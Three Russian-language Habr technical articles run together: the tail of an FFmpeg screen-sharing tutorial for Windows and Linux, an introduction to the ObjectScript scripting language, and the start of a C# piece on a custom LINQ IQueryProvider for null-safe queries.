-f dshow -i audio="@device_cm_{33D9A762-90C8-11D0-BD43-00A0C911CE86}\wave_{8A4D10E5-8DB9-4B92-8C29-4BA2E60C1DDE}" ... -acodec aac
```
где:
*//захват аудио составляющей скриншаринга*
**-f dshow** — драйвер захвата звука Windows;
**-i audio=** — параметр "audio" в этом случае ставим равным альтернативному имени нашего "Stereo Mix (Realtek (R) Audio)";
*//захват видео составляющей скриншаринга*
*//кодирование аудио составляющей скриншаринга*
**-acodec aac** — сжимать аудио будем кодеком aac;
*//кодирование видео составляющей скриншаринга*
*//формирование потока и передача его WCS*
Запускаем:
```
ffmpeg.exe -f dshow -i audio="@device_cm_{33D9A762-90C8-11D0-BD43-00A0C911CE86}\wave_{8A4D10E5-8DB9-4B92-8C29-4BA2E60C1DDE}" -rtbufsize 100M -f gdigrab -framerate 30 -probesize 10M -draw_mouse 1 -i desktop -acodec aac -c:v libx264 -r 30 -preset ultrafast -tune zerolatency -crf 25 -pix_fmt yuv420p -f flv rtmp://demo.flashphoner.com:1935/live/rtmp_stream
```
И наслаждаемся:
Существует еще альтернативный метод. Он будет полезен, если у вас на компьютере нет устройства "Stereo Mix" или драйвер вашей звуковой карты его, по каким-то причинам, не поддерживает.
Для реализации альтернативного метода нам понадобится небольшая утилита "[VB-Audio Virtual Cable](https://vb-audio.com/Cable/index.htm)" (На момент написания этой статьи распространяется бесплатно).
VB-CABLE — это виртуальное аудиоустройство, работающее как виртуальный аудиокабель. Весь звук, поступающий на вход CABLE, просто пересылается на выход CABLE.
Скачиваем программу VB-CABLE и устанавливаем. Установка не представляет собой ничего примечательного.
Запускаем установочный файл от имени администратора:
И нажимаем кнопку "Install Driver"
После установки нужно переключить устройство по умолчанию для воспроизведения и записи аудио на установленный виртуальный кабель.
Теперь, звуки, воспроизводимые в программах, будут перенаправляться на виртуальное устройство Cable Output, которое будет работать как обычный микрофон и, соответственно, позволит захватить воспроизводимое аудио. Однако, при этом есть один недостаток: во время этого вы не будете слышать то, что записываете (т.е. звук вместо динамиков или наушников будет направляться на виртуальное устройство записи).
Теперь снова определяем доступные устройства для захвата аудио
```
ffmpeg -list_devices true -f dshow -i dummy
```
Видим, что в списке устройств появилось устройство "CABLE Output (VB-Audio Virtual Cable)"
Запускаем захват скриншаринга с использованием этого устройства. Обращаемся к нему так же по альтернативному имени:
```
ffmpeg.exe -f dshow -i audio="@device_cm_{33D9A762-90C8-11D0-BD43-00A0C911CE86}\wave_{F585B65B-4690-4433-8109-F16C6389C066}" -rtbufsize 100M -f gdigrab -framerate 30 -probesize 10M -draw_mouse 1 -i desktop -acodec aac -c:v libx264 -r 30 -preset ultrafast -tune zerolatency -crf 25 -pix_fmt yuv420p -f flv rtmp://demo.flashphoner.com:1935/live/rtmp_stream
```
### FFmpeg скриншаринг под Linux
В этом примере мы запускаем скриншаринг на ОС Ubuntu Desktop 20.04 LTS.
Начнем с определения доступных для захвата аудиоустройств. Выполните в консоли следующую команду:
```
pacmd list-sources
```
Вывод будет примерно таким как на скриншоте. Для дальнейшей работы нас интересует устройство, которое в Ubuntu называется "Monitor of Built-in Audio Analog Stereo". Это виртуальное устройство, которое, как и его кузен "Windows Stereo Mix", позволяет смешивать системные звуки и звуковой поток, получаемый с микрофона. Для дальнейшей работы нам понадобится значение индекса этого устройства.
Запускаем скриншаринг в поток с помощью FFmpeg:
```
ffmpeg -f pulse -ac 2 -i 0 -f x11grab -rtbufsize 100M -s 1200x720 -framerate 30 -probesize 10M -draw_mouse 1 -i :0.0 -acodec aac -c:v libx264 -r 30 -preset ultrafast -tune zerolatency -crf 25 -pix_fmt yuv420p -f flv rtmp://demo.flashphoner.com:1935/live/rtmp_stream
```
где:
*//захват аудио составляющей скриншаринга*
**-f pulse** — драйвер захвата звука Linux;
**-ac 2** — режим аудио "стерео" (**-ac 1** — режим аудио "моно");
**-i 0** — указываем индекс устройства для захвата аудио. Как мы ранее выяснили, для "Monitor of Built-in Audio Analog Stereo" это "0" ;
*//захват видео составляющей скриншаринга*
**-f x11grab** — опция необходима, если вы захватываете экран Linux;
**-rtbufsize 100M** — буфер под видео;
**-s 1200x720** — размеры захватываемой на экране области. В px;
**-framerate 30** — частота кадров при захвате экрана;
**-probesize 10M** — количество кадров необходимое FFmpeg для идентификации потока;
**-draw\_mouse 1** — захват движений мышки;
**-i :0.0** — координаты "первой точки" захватываемой области экрана;
*//кодирование аудио составляющей скриншаринга*
**-acodec aac** — сжимать аудио будем кодеком aac;
*//кодирование видео составляющей скриншаринга*
**-c:v libx264** — сжимать видео будем в формат MP4 кодеком x264;
**-r 30** — кодек запишет видео с частотой 30 кадров в секунду;
**-preset ultrafast** — кодировать поток как можно быстрее (при записи экрана это актуально);
**-tune zerolatency** — опция кодека x264 для ускорения кодирования;
**-crf 25** — качество записываемого видео (большее значение — хуже видео, меньшее — лучше);
**-pix\_fmt yuv420p** — цветовой формат результирующего видео;
*//формирование потока и передача его WCS*
**-f flv rtmp://demo.flashphoner.com:1935/live/rtmp\_stream** — запись в поток с именем "rtmp\_stream" и передача его на сервер demo.flashphoner.com.
Проверяем.
Запускаем воспроизведение ролика в плеере, в консоли Ubuntu запускаем FFmpeg команду, которую разобрали выше:
На стороне WCS сервера открываем любой удобный плеер и запускаем воспроизведение захваченного потока [скриншаринга](https://flashphoner.com/demonstraciya-ehkrana-iz-brauzerov-chrome-i-firefox/?lang=ru) по WebRTC (имя потока rtmp\_stream).
### Сравнение команд FFmpeg для Windows и Linux
Сравнительная таблица ключей FFmpeg для скриншаринга с захватом системного звука и передачи данных в поток на WCS
| | Windows | Linux |
| --- | --- | --- |
| Драйвер захвата звука | -f dshow | -f pulse |
| Указание устройства для захвата звука | `-i audio="@device_cm_{33D9A762-90C8-11D0-BD43-00A0C911CE86}\wave_{8A4D10E5-8DB9-4B92-8C29-4BA2E60C1DDE}"` | -i 0 |
| Драйвер захвата экрана | -f gdigrab | -f x11grab |
| Буфер под видео | -rtbufsize 100M | -rtbufsize 100M |
| Размеры захватываемой на экране области | -i desktop | -i :0.0 -s 1200x720 |
| Частота кадров при захвате экрана | -framerate 30 | -framerate 30 |
| Количество кадров необходимое FFmpeg для идентификации поток | -probesize 10M | -probesize 10M |
| Захватывать движения мыши | -draw\_mouse 1 | -draw\_mouse 1 |
| Кодек для сжатия аудио | -acodec aac | -acodec aac |
| Кодек для сжатия видео | -c:v libx264 | -c:v libx264 |
| Частота кадров итогового видео | -r 30 | -r 30 |
| Опция для ускорения кодирования | -preset ultrafast | -preset ultrafast |
| Опция кодека x264 для ускорения кодирования | -tune zerolatency | -tune zerolatency |
| Качество записываемого видео | -crf 25 | -crf 25 |
| Цветовой формат результирующего видео | -pix\_fmt yuv420p | -pix\_fmt yuv420p |
| Запись в поток на сервер demo.flashphoner.com | -f flv rtmp://demo.flashphoner.com:1935/live/rtmp\_stream | -f flv rtmp://demo.flashphoner.com:1935/live/rtmp\_stream |
### Итог
Сегодня мы в подробностях разобрали тонкости скриншаринга со звуком при помощи FFmpeg для операционных систем Windows и Linux. В дальнейшем, с потоком скриншаринга, который был захвачен на сервере можно производить любые действия, поддерживаемые WCS. Он может быть [записан](https://flashphoner.com/zapis-videopotokov-iz-brauzera-i-mob/?lang=ru), [воспроизведен](https://flashphoner.com/pleer-dlya-brauzera/?lang=ru), [ретранслирован](https://flashphoner.com/translyaciya-webrtc-videopotokov-s-re-publikaciej-v-rtmp/?lang=ru), [транскодирован](https://flashphoner.com/transkoding-potoka/?lang=ru) или [добавлен к микшеру](https://flashphoner.com/mikshirovanie-potokov/?lang=ru).
Удачного стриминга!
### Ссылки
[Наш демо сервер](https://demo.flashphoner.com/admin/login.html)
[WCS на Amazon EC2](https://flashphoner.com/podderzhka-oblachnyh-serverov-amazon-ec2-v-web-call-server/?lang=ru) - Быстрое развертывание WCS на базе Amazon
[WCS на DigitalOcean](https://flashphoner.com/podderzhka-web-call-server-v-digital-ocean-marketplace/?lang=ru) - Быстрое развертывание WCS на базе DigitalOcean
[WCS в Docker](https://flashphoner.com/podderzhka-web-call-server-v-docker/?lang=ru) - Запуск WCS как Docker контейнера
[Документация по быстрому развертыванию и тестированию WCS сервера](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241019)
[Документация по захвату и транляции видеопотока на сервер при помощи FFmpeg](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241304) | https://habr.com/ru/post/568664/ | null | ru | null |
# ObjectScript — новый язык программирования
Сколько же существует всяких языков программирования, еще один? Ну можно и так сказать, а можно сказать и по другому: я программист и пишу программы на разных языках программирования для разных задач. В одних языках есть одни плюсы, в других — другие. Вот я и решил предложить свой универсальный язык программирования для множества задач.
ObjectScript — новый объектно-ориентированный язык программирования с открытым исходным кодом. Сами исходники занимают **459 Кб** (парсер, компилятор и виртуальная машина) и находятся в двух файлах `source\objectscript.h` и `source\objectscript.cpp`. Скачать их можно [по прямой ссылке тут](https://github.com/unitpoint/objectscript/zipball/master). ObjectScript — очень легкий, предназначен для вставки в приложение на C++.
ObjectScript сочетает в себе возможности таких языков, как JavaScript, Lua и PHP. Например, синтаксис в основном взят из JavaScript, множественное присваивание — из Lua, работа со свойствами через перегружаемые методы — из PHP.
Кроме унификации нескольких существующих языков программирования, ObjectScript добавляет также и свои уникальные и полезные фишки.
Синтаксис
---------
```
x = 12;
y = "Hello World!";
```
А что если убрать точки с запятыми?
```
x = 12
y = "Hello World!"
```
ObjectScript автоматически разпознает отдельные выражения (новая строка тут не причем, все можно писать и в одну строчку), поэтому точку с запятой (**;**) можно не использовать без явной на то необходимости.
Вызовы функций
--------------
Привычный синтаксис, который используется в большинстве языках программирования:
```
print(5, " differences")
```
А зачем там собственно запятая?
```
print(5 " differences")
```
Запятые в ObjectScript при перечислении параметров не обязательны. Например, есть в языке такая функции **concat**, которая соединяет все аргументы в одну строку, тогда игнорируя запятые можно записать вот так:
```
var s = concat("name: " name ", count: " count ", time: " time)
```
Красиво и понятно! **name**, **count** и **time** — некоторые переменные. Соединение строк конечно же не обязательно делать через эту функция, есть специальный оператор **..** (две точки) для конкатенации, но иногда функция **concat** может быть удобнее, да и быстрее при обработке нескольких параметров.
Иногда в функцию передается только один параметр, например:
```
print({firstname:"Ivan", lastname:"Petrov"})
```
В фигурных скобках задан объект в привычном для JavaScript синтаксисе. Такой синтаксис полностью поддерживается в ObjectScript, но подобный вызов выглядит *НЕ* очень красиво. А что если убрать круглые скобки?
```
print {firstname:"Ivan", lastname:"Petrov"}
```
Уже симпатичнее?! Эта возможность взята из Lua. Так можно вызывать любые функции и не только с объектом в качестве параметра, например:
```
print "Hello World!"
```
Довольно таки просто и читабильно!
Объекты
-------
Но вернемся к предыдущему примеру. А зачем там собственно запятая в описании объекта? А если без нее?
```
print {firstname:"Ivan" lastname:"Petrov"}
```
Довольно неплохо, ничего лишнего, а еще можно так:
```
print {firstname="Ivan" lastname="Petrov"}
```
Т.е. при формировании пар в объекте (индекс и значение) можно использовать как двоеточие, так и знак равно. Кроме этого, допускается отделение пар запятыми, точкой с запяток (**;**) или не использовать разделитель вовсе. Следует также отметить, что использование разделяющих символов после конечного значения допускается, например, следующее выражение полностью допустимо в ObjectScript:
```
a = {x=1, y=3; "zero" "one", "two" last:7,}
```
В данном примере используются не только ассоциативные значения, но и порядковые с автоматическим индексом, как в масиве. Индекс начинается с нуля. Например:
```
print a[1]
```
выведет **one**. А что если необходимо в качестве индекса значения использовать выражение, а не константу, легко:
```
a = {[2+3]="five" y=3}
```
Т.е. выражение в квадратных скобках будет вычислено на этапе выполнения программы и результат будет использован в качестве индекса соответствующего значения в объекте. Иначе говоря:
```
print a[5]
```
Выведет **five**
Порядок значений в объекте сохраняется таким, в каком порядке значения были добавлены в объект (это бывает важно в итерационных процессах, о которых мы поговорим позже).
Еще одной важной особенностью является то, что в качестве индекса значения может выступать значение любого типа, например:
```
a = {x=1 y=2}
b = {[a]="powerful" 7="greate"}
print b[a]
```
Выведет **powerful**, причем это никак не уменьшает скорость доступа к данным объекта и не увеличивает потребление памяти. Иначе говоря, если есть потребность, можно использовать смело.
Масивы
------
Масивы — это индексные списки. Как и в JavaScript масив можно записать следующим образом:
```
a = [10, 20, 30, 40]
```
Ну в целом все понятно и нормально, единственное, что можно тут упростить — убрать запятые:
```
a = [10 20 30 40]
```
Выглядит даже интересно и полностью валидно для ObjectScript.
Множественное присваивание
--------------------------
ObjectScript полностью поддерживает множественное присваивание и выглядит это следующим образом:
```
i, j, k = 0, 1, 3
```
Переменной **i** присвоится значение 0, **j** присвоится 1, **k** — 3. Интересным следствием множественного присваивания является возможность смены значений в переменых одной строкой:
```
i, j = j, i
```
Довольно просто и красиво. С помощью множественного присваивания можно одной строкой инициализировать сразу несколько переменных, менять в переменых значения, а также получать множественные результаты вызываемых функций, например:
```
var test = function(){ return 1, 2 }
var a, b = test()
```
Функция **test** возвращает два значения, в переменную **a** сохранится 1, а в **b** — 2. Если затребовать из функции больше значений, чем она возвращает, то количество результатов дополнится пустыми значениями — **null**
```
var a, b, c = test()
print(a, b, c)
```
Выведет: **1 2 null**
Итераторы
---------
Итераторы позволяют обработать элементы некоторого списка друг за другом по очереди и выполнить какую-то работу с этими элементами. Например, пусть нам нужно обработать элементы объекта и показать их индексы и значения:
```
obj = { null awesome=true 12 "excellent" }
for(k, v in obj){
print( k " --> " v )
}
```
Данная программа выведет:
```
0 --> null
awesome --> true
1 --> 12
2 --> excellent
```
Когда компилятор ObjectScript видит **for in**, он генерит на выходе специальный код, для приведенного выше примера следующий:
```
obj = { null awesome=true 12 "excellent" };
{
var iter_func = obj.__iter()
for(var iter_valid;;){
iter_valid, k, v = iter_func()
if(!iter_valid) break
print( k " --> " v )
}
}
```
По-русски говоря для **obj** вызывается метод **\_\_iter**, который должен вернуть итерационную функции:
```
var iter_func = obj.__iter()
```
Затем эта функция вызывается перед каждым шагом итерации:
```
iter_valid, k, v = iter_func()
```
Она должна вернуть первым результатом логическое значение, иначе говоря **true**, если текущая итерация валидна, а затем любое количество значений, которые ожидает программист от данного процесса итерации. Первый результат функции обрабатывается языком самостоятельно:
```
if(!iter_valid) break
```
Если процесс итерации завершен, то **break** прерывает цикл.
Если процесс итерации валидный, то программист может обработать полученные значения. В данном случае, при итерации объекта, функция итерации возвращает два значения, которые доступны программисту — индекс и само значение. Причем не обязательно все их принимать, можно, например, обработать только индексы следующим образом:
```
obj = { null awesome=true 12 "excellent" }
for(k in obj){
print k
}
```
Это мы говорили об объектах, теперь перейдем к масивам. Итератор масива на ObjectScript выглядит следующим образом:
```
Array.__iter = function(){
var i, self = 0, this
return function(){
if(i < #self){
return true, i, self[i++]
}
}
}
```
Тут может быть немного сложно, давайте по-порядку. **Array** — это глобальная переменная, в которой содержится описание функционала для масивов. В С++ это был бы **class Array**. Когда создается масив, он получает ссылку на объект **Array** к качестве прототипа. Ее даже можно прочитать из программы следующим образом:
```
print [1 2 3].prototype === Array
```
Выведет **true** (оператор === это строгое сравнение без преобразования типов аргументов). Но вернемся к нашему примеру. В прототипе **Array** перегружается функция **\_\_iter** (как мы помним она вызывается при запуске процесса итерации). А далее начинается хитрая штука под названием *замыкание* (анг. *closure*). Да, ObjectScript поддерживает *замыкания* в полном объеме — это когда любая вложенная функция имеет доступ к локальным переменным всех своих функций-родителей (даже если родители завершили выполнения). В данном случае, нас интересуют переменные **i, self**.
```
var i, self = 0, this
```
В **i** сохраняется 0, а в **self** сохраняется **this** (это ссылка на текущий объект, в данном случае масив, с которым мы работаем).
```
return function(){
if(i < #self){
return true, i, self[i++]
}
}
```
Далее возвращается функция, которая будет вызвана при каждом шаге итерации. Эта функция проверяет, не достигли ли мы конца масива (**#** — это оператор, который возвращает количество элементов), и если все ок, то возвращает **true** (показывая, что мы в процессе), далее индекс и само значение. При этом сам индекс каждый раз инкрементируется. В противном случае ничего не возвращается, т.е. функция завершается своим естественным путем. Это приводит к тому, что затребованные значения, в том числе **iter\_valid**, принимают **null** и цикл прекращается по условию:
```
if(!iter_valid) break
```
Имя переменной iter\_valid приведено тут только в качестве удобства, реально создается временная переменная, доступ к которой программист не имеет.
В качестве примера давайте сами напишем итератор.
```
var range = function(a, b){
return function(){
if(a <= b){
return true, a++
}
}
}
for(var i in range(10, 13)){
print( "i = ", i )
}
```
Выведется:
```
i = 10
i = 11
i = 12
i = 13
```
Внимательный читатель может подметить «а как же это работает, там же должен вызваться метод **\_\_iter**?» и будет прав. Дело в том, что итератор для функций возвращает самого себя и описан следющим образом:
```
Function.__iter = function(){ return this }
```
**Function** — это прототип для всех функций, например, там находятся методы **call** и **apply**, которые полностью эквивалентны аналогичным в JavaScript.
Объектно-ориентированное программирование (ООП) в ObjectScript
--------------------------------------------------------------
Как можно было бы понять из названия языка, он просто обязан быть объектно ориентированным и поддерживает ООП во всей своей красе.
Опишем *класс* следующим образом:
```
Person = {
__construct = function(firstname, lastname){
this.firstname = firstname
this.lastname = lastname
}
__get@fullname = function(){
return this.firstname .. " " .. this.lastname
}
walk = function(){
print this.fullname .. " is walking!"
}
}
```
Теперь создадим экземпляр данного класса:
```
var p = Person("James", "Bond")
```
Фактически **Person** — это обычный объект, когда объект вызывается, как функция, ObjectScript автоматически создает новый экземпляр данного объекта и инициализирует его методом **\_\_construct**. Выше приведенный код будет реально выполнен следующим образом:
```
var p = {}
p.prototype = Person
p.__construct("James", "Bond")
```
Если затем выполнить:
```
p.walk()
print p
```
то выведется:
```
James Bond is walking!
{"firstname":"James","lastname":"Bond"}
```
Из новых фишек следует выделить метод **\_\_get@fullname**, который неявно вызывается из метода **walk**:
```
__get@fullname = function(){
return this.firstname .. " " .. this.lastname
}
walk = function(){
print this.fullname .. " is walking!"
}
```
Метод **\_\_get@fullname** возвращает значение свойства **fullname**. Могут быть также специальные методы для установки свойств, но об этом позже в разделе **Свойства, getter-ы и setter-ы**.
Из интересного тут нужно отметить, что метод **\_\_get@fullname** содержит символ **@**, который в ObjectScript является полностью валидным для любых имен методов и переменных, на ряду с символом **$** ну и остальными уже более стандартными символами.
Наследование
------------
Теперь самое время унаследоваться от Person.
```
// опишем класс IvanPerson
var IvanPerson = extends Person {
__construct = function(){
super("Ivan", "Petrov")
}
}
var p = IvanPerson() // создадим экземпляр класса IvanPerson
p.walk()
print p
```
Выведется:
```
Ivan Petrov is walking!
{"firstname":"Ivan","lastname":"Petrov"}
```
Наследование делается оператором **extends**, который принимает два выражения **exp1** и **exp2**, любых, в том числе расчитанных на этапе выполнение и эквивалентен следующему коду:
```
(function(exp1, exp2){
exp2.prototype = exp1
return exp2
})()
```
Из интересного нужно отметить:
```
super("Ivan", "Petrov")
```
**super** вызывает метод родительского класса (прототипа) с именем метода, из которого он был вызван, в данном случае — это **\_\_construct**, который и инициализирует экземпляр объекта.
ООП на закуску
--------------
Давайте создадим совершено новый тип данных, который будет работать как трехмерный вектор:
```
var vec3 = {
__construct = function(x, y, z){
this.x = x
this.y = y
this.z = z
}
__add = function(a, b){
return vec3(a.x + b.x, a.y + b.y, a.z + b.z)
}
__mul = function(a, b){
return vec3(a.x * b.x, a.y * b.y, a.z * b.z)
}
}
var v1 = vec3(10 20 30)
var v2 = vec3(1 2 3)
var v3 = v1 + v2 * v2
print v3
```
Выведется: **{«x»:11,«y»:24,«z»:39}**
Свойства, getter-ы и setter-ы
-----------------------------
Свойство — это некоторая абстрактная сущность (нет, не в виде гномика, хотя...), которая со стороны выглядит как обычное значение в объекте, но при чтении и записи может выполнять некоторую работу в соответствующих методах.
Геттер (getter) — возвращает значение свойства, сеттер (setter) — устанавливает значение. ObjectScript автоматически понимает, считывается свойство или устанавливается, и вызывает соответствующие методы.
```
a = {
_color = "red"
__get@color = function(){ return this._color }
__set@color = function(v){ this._color = v }
}
print a["color"]
a.color = "blue"
print a.color
```
Выведется:
```
red
blue
```
Как же это реально работает? При чтении свойства **color** ObjectScript ищет значение в объекте с именем **color**. Если таковое найдено, то оно просто возвращается. Если нет, то ищется метод **\_\_get@color**, нашелся — отлично, значит ObjectScript вызывает и возвращает его результат. Если не нашелся, не беда, ObjectScript ищет метод **\_\_get**. Если таковой присутствует, то ObjectScript вызывает этот метод с именем запрошенного свойства. Если ничего не нашлось, то возвращается **null** и точка.
При установке свойства, все происходит аналогично, но вместо **\_\_get** используется **\_\_set**. Еще один пример:
```
a = {
_color = "white"
__get = function(name){
if(name == "color")
return this._color
}
__set = function(name, v){
if(name == "color")
this._color = v
}
__del = function(name){
if(name == "color")
delete this._color
}
}
print a.color
a.color = "green"
print a.color
delete a.color
print a.color
```
Выведется:
```
white
green
null
```
Тут показан новый оператор **delete**, который удаляет значение в объекте и использование метода **\_\_del**.
Многомерные свойства
--------------------
ObjectScript поддерживает следующий (обычный для некоторых языков) синтаксис, который является полностью эквивалентным:
```
print a.color
print a["color"]
```
А что, если в квадратных скобках передать несколько значений? В ObjectScript это вполне реально!
```
a = {
_matrix = {}
__getdim = function(x, y){
return this._matrix[y*4 + x]
}
__setdim = function(value, x, y){
this._matrix[y*4 + x] = value
}
__deldim = function(x, y){
delete this._matrix[y*4 + x]
}
}
a[1, 2] = 5 // компилятор преобразует это в a.__setdim(5, 1, 2)
print a[1, 2] // print(a.__getdim(1, 2))
delete a[1, 2] // a.__deldim(1, 2)
print a[1, 2] // print(a.__getdim(1, 2))
```
Выведется:
```
5
null
```
Остается только обратить внимание на метод **\_\_setdim**, который первым параметром принимает новое значение, а в остальных параметрах — атрибуты свойства (их количество может быть любым начиная от двух).
Пустые свойства
---------------
А что на счет следующего кода?
```
b = a[]
a[] = 2
delete a[]
```
Вполне! ObjectScript в этом случае вызывает следующие методы соответственно: **\_\_getempty**, **\_\_setempty**, **\_\_delempty**. Программист может решить по своему усмотрению, как использовать этот функционал.
Заключение
----------
На закуску несколько не отмеченных выше моментов.
При описании функции в блоке перечисления параметров, запятые ставить также не обязательно:
```
print function(a b c){ return a + b * c }(1 2 3)
```
Выведет **7**
В функциях можно использовать **arguments** — возвращает масив всех параметров, с которыми функция была запущена, **...** (три точки) — масив дополнительных параметров, которые не описаны в объявлении функции.
Оператор **#** вызывает для объекта применения метод **\_\_len**. Для строк он возвращает количество символов в строке, а для объектов и масивов — количество элементов. Также в классе Object заведено свойство:
```
Object.__get@length = function(){ return #this }
```
А т.к. все объекты, в том числе строка и масивы, унаследованы от **Object**, то можно использовать свойство **length**, например, в масивах, на манер JavaScript.
Из необычных математических операторов можно отметить **\*\*** — возведение в степень.
Из структурных конструкций на данный момент реализованы:
```
if(exp) block [elseif(exp) block ][else block ]
for(pre_block; exp; post_block) block
for(assign_list in exp) block
break
continue
function(var_list){ block }
```
Одинаковые строки ObjectScript хранит в единственном экземпляре, это делается автоматически. Причем не важно, была строка получена на этапе выполнения или компиляции программы.
Локальные переменные имеют область видимости, например.
```
var i = 1;
{
var i = i
i++
print i
}
print i
```
Выведется
```
2
1
```
ObjectScript имеет два зарезервированных слова для целей отладки, первое — **debugger** (как в JavaScript). При срабатывании **debugger** программа остановится в дебагере, как при точке останова. Второе — **debuglocals**, которое возвращает ассоциативный объект с названиями видимых из точки использования **debuglocals** локальных переменых и их значений. Например:
```
function(a){
var c = a * 2;
{
var c = a - 1
print debuglocals
}
}(10)
```
Выведется:
```
{a:10,c:9}
```
ObjectScript разпознает tail call. Это когда внутри функции возвращается результат выполнения др. функции. В этом случае вызываемая функция может заместить call stack текущей функции, а не увеливать call stack, добавляя себя в него.
Преобразование выражений в тип **boolean** происходит следующим образом: значения **null**, **false** и **NaN** возвращают **false**, все др. значения — **true**, в том числе пустая строка и число 0.
Операторы **&&** и **||** возвращают то значение, которые было им передано, например:
```
print 7 && 9
print 7 || 9
```
Выведется:
```
9
7
```
При присваивании объектов, их копии не создаются, присваивается ссылка на сам объект. Чтобы создать копию, необходимо воспользоваться оператором **clone**, который клонирует аргумент. Для объектов и масивов, этот оператор копирует все значения в новый объект, др. типы не клонируются по умолчанию, а возвращаются как есть. Но на финальной стадии процесса вызывается метод **\_\_clone**, в котором можно сделать что-то свое или дополнительное. Вопрос о спецификации данного метода пока не решен окончательно. Возможно есть смысл возвращать результатом клонирования то, что вернет метод **\_\_clone**. В этом случае программист сможет клонировать и свои внутренние типы данных, созданные с помощью **userdata**, если пожелает.
Также есть **typeof**, **valueof**, **numberof**, **stringof**, **arrayof**, **objectof**, **functionof**, **userdataof**. Спецификация этих операторов прорабатывается.
Ну вот как-то так. Если вам ObjectScript кажется интересным, давайте разрабатывать и развивать язык вместе. Текущие задачи, над которыми я работаю — сборщик мусора, багфикс, оптимизация, документация, environment для функции, расширение синтаксиса, поддержка многострочных констант, компиляция в байт-код, компиляция в JavaScript (чтобы писать клиенты для веба). Предлагайте и комментируйте.
Стандарт языка в процессе формирования, поэтому любые идеи будут интересны.
Об интеграции с C++ расскажу в одной из следующих статей. Вкратце:
```
int test(OS * os, int, int, int, void*)
{
os->pushNumber(123);
return 1;
}
int main(int argc, char* argv[])
{
OS * os = OS::create();
os->pushCFunction(test);
os->setGlobal("test");
os->eval("print(test())"); // выведет 123
os->release();
return 0;
}
```
Как запустить пример того, что описано в этой статье? Скачать исходники, откомпилированный файл с примером с [репозитория на github](https://github.com/unitpoint/objectscript), [прямая ссылка для загрузки](https://github.com/unitpoint/objectscript/zipball/master). Перейти в папку `OS\examples` и запустить файл **test3.cmd**.
В файле **test3.txt** генерируется отладочная информация того, как ObjectScript скомпилировал исходник, это может потребоваться для лучшего понимания процессов, которые происходят внутри языка, например:
```
[14] print( a[v1] a.v2 )
begin call
get env var print
begin params 2
begin get property
get local var a (1 0 param)
get local var v1 (0 0 param)
end get property ret values 1
,
begin get property
get local var a (1 0 param)
push const string "v2"
end get property ret values 1
end params ret values 2
end call ret values 0
```
В сухом остатке
---------------
ObjectScript полностью совместим с JSON, т.к. понимает этот формат, как свой родной, но добавляет в описание объектов и масивов свой расширенный и простой синтаксис. ObjectScript реализует все плюсы таких языков, как JavaScript, Lua и PHP, при этом добавляет свои уникальные возможности программирования. ObjectScript — объектно-ориентированный язык программирования, реализует все его парадигмы. Оператор **new** при этом не используется, минимизируя код и делая его более читабильным. Синтаксис ObjectScript позволет реализовать все необходимые конструкции, но направлен на простоту и читабильность. ObjectScript предназначен для вставки в приложение на C++, позволяет интегрироваться с С++ на уровне функций и пользовательских данных (в том числе объектно-ориентированных). ObjectScript — очень легкий, текущие исходники занимают **459 Кб**. Язык пока не имеет стабильной версии и находится в стадии формирования спецификации и балансировки.
На данный момент я начал делать некоторые примеры по использованию языка ObjectScript и записывать видео, вы можеет посмотреть некоторые из них по следующим ссылкам:
[www.youtube.com/watch?v=OCWIfQYW9rc](http://www.youtube.com/watch?v=OCWIfQYW9rc)
[www.youtube.com/watch?v=P5KPJOVSs3E](http://www.youtube.com/watch?v=P5KPJOVSs3E)
[www.youtube.com/watch?v=htDqDNqHX-I](http://www.youtube.com/watch?v=htDqDNqHX-I)
[www.youtube.com/watch?v=wqiDeuf7yu8](http://www.youtube.com/watch?v=wqiDeuf7yu8)
[www.youtube.com/watch?v=uep2SvXdCNU](http://www.youtube.com/watch?v=uep2SvXdCNU)
в описании к видео указаны ссылки, от куда можно скачать полные исходники примеров. | https://habr.com/ru/post/152289/ | null | ru | null |
# Унифицируем поведение LINQ to IEnumerable и LINQ to IQueriable в части работы с null значениями. Часть вторая. Своя реализация IQueryProvider
В комментариях к [первой части](http://habrahabr.ru/post/256257/) мне справедливо сделали замечание, что я обещал унификацию IEnumerable и IQueryable, а сам спрятал их за самописным интерфейсом типа репозитория. В этой статье я постараюсь исправится и дать пример что же делать, если мы хотим работать с LINQ напрямую. Для этого я предложу собственную реализацию интерфейса IQueryProvider.
[GitHub](https://github.com/k-best/Tools)
[Nuget](https://www.nuget.org/packages/ExpressionHelpers/)
Итак, первая часть закончилась на том, что мы написали ExpressionVisitor, который добавлял в каждый узел дерева выражений, который является обращением к свойству обертку, проверяющую на null:
```
public class AddMaybeVisitor : ExpressionVisitor
{
//Этот метод мы будем вызывать над выражением, которое нужно преобразовать.
public Expression> Modify(Expression> expression)
{
return (Expression>)Visit(expression);
}
// Этот метод вызывается в том случае, если узлом дерева выражений является обращение к свойству или полю, как раз то, что нам и требуется.
protected override Expression VisitMember(MemberExpression node)
{
var expression = Visit(node.Expression);
var expressionType = expression.Type;
var memberType = node.Type;
var withMethodinfo = typeof(AddMaybeVisitor)
.GetMethod("With")
.MakeGenericMethod(expressionType, memberType);
var p = Expression.Parameter(expressionType);
var l = Expression.Lambda(Expression.MakeMemberAccess(p, node.Member), p);
return Expression.Call(withMethodinfo,
expression,
Expression.Constant(l.Compile(), typeof(Func<,>).MakeGenericType(expressionType, memberType))
);
}
public static TResult With(TSource source, Func action) where TSource : class
{
if (source != default(TSource))
return action(source);
return default(TResult);
}
}
```
Пусть у нас снова есть пара источников данных, предоставляющих доступ к коллекции книг. При этом у каждой книги *может быть* указан автор, представленный в таблице авторов. Один из источников данных — бд, и соответственно из него возвращается четный IQueryable, второй — in-memory cache возвращающий List. Как и в первый раз спрячем это за интерфейс, однако теперь он будет возвращать IQueryable, а все остальные преобразования мы будем делать стандартными LINQ методами.
```
public interface IBookSource
{
IQueryable GetBooks();
}
```
Стандартный подход как получить из IEnumerable (и, в частности из List) IQueryable — это вызвать метод расширение AsQueryable(). Однако нам этот вариант не подходит, потому что нам нужно с каждым применяемым выражением производить собственные манипуляции, а именно — обернуть property getter в проверку на null.
Поэтому мы напишем свой собственный метод расширения:
```
public static class QueryableExtensions
{
public static IQueryable AsMaybeQueryable(this IEnumerable source)
{
if (source == null)
throw new ArgumentNullException("source");
var elements = source as IQueryable;
//здесь отличие от стандартной реализации метода AsQueryable()
return elements ?? new MaybeEnumerableQuery(source);
}
public static IQueryable AsMaybeQueryable(this IEnumerable source)
{
if (source == null)
